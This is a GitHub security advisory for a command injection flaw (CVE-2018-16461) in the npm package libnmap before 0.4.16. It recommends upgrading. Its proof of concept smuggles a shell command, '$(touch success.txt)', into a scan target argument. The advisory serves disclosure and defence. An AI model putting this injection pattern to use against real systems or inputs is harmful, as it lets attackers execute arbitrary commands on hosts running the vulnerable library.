GitHub Advisoryadvisory · npm
GHSA-7g2w-6r25-2j7p Command Injection in libnmap
MEDIUM
Official page ↗
- Aliases
- CVE-2018-16461
- Ecosystem
- npm
- Packages
- libnmap
- Severity
- Moderate
- Weaknesses
- CWE-77
- Reviewed
- 2020-06-16
Affected packages
• npm libnmap: < 0.4.16 → fixed in 0.4.16
Description
Versions of `libnmap` before 0.4.16 are vulnerable to command injection.
Proof of concept
```js
const nmap = require('libnmap');
const opts = {
range: [
'scanme.nmap.org',
"x.x.$(touch success.txt)"
]
};
nmap.scan(opts, function(err, report) {
if (err) throw new Error(err);
for (let item in report) {
console.log(JSON.stringify(report[item]));
}
});
```
Recommendation
Update to version 0.4.16 or later
Related
Alias · CVE (1)
- CVE-2018-16461 A command injection vulnerability in libnmapp package for versions <0.4.16 allows arbitrary commands to be executed via arguments to the… vulnerability
Weakness · CWE (1)
- CWE-77 Improper Neutralization of Special Elements used in a Command weakness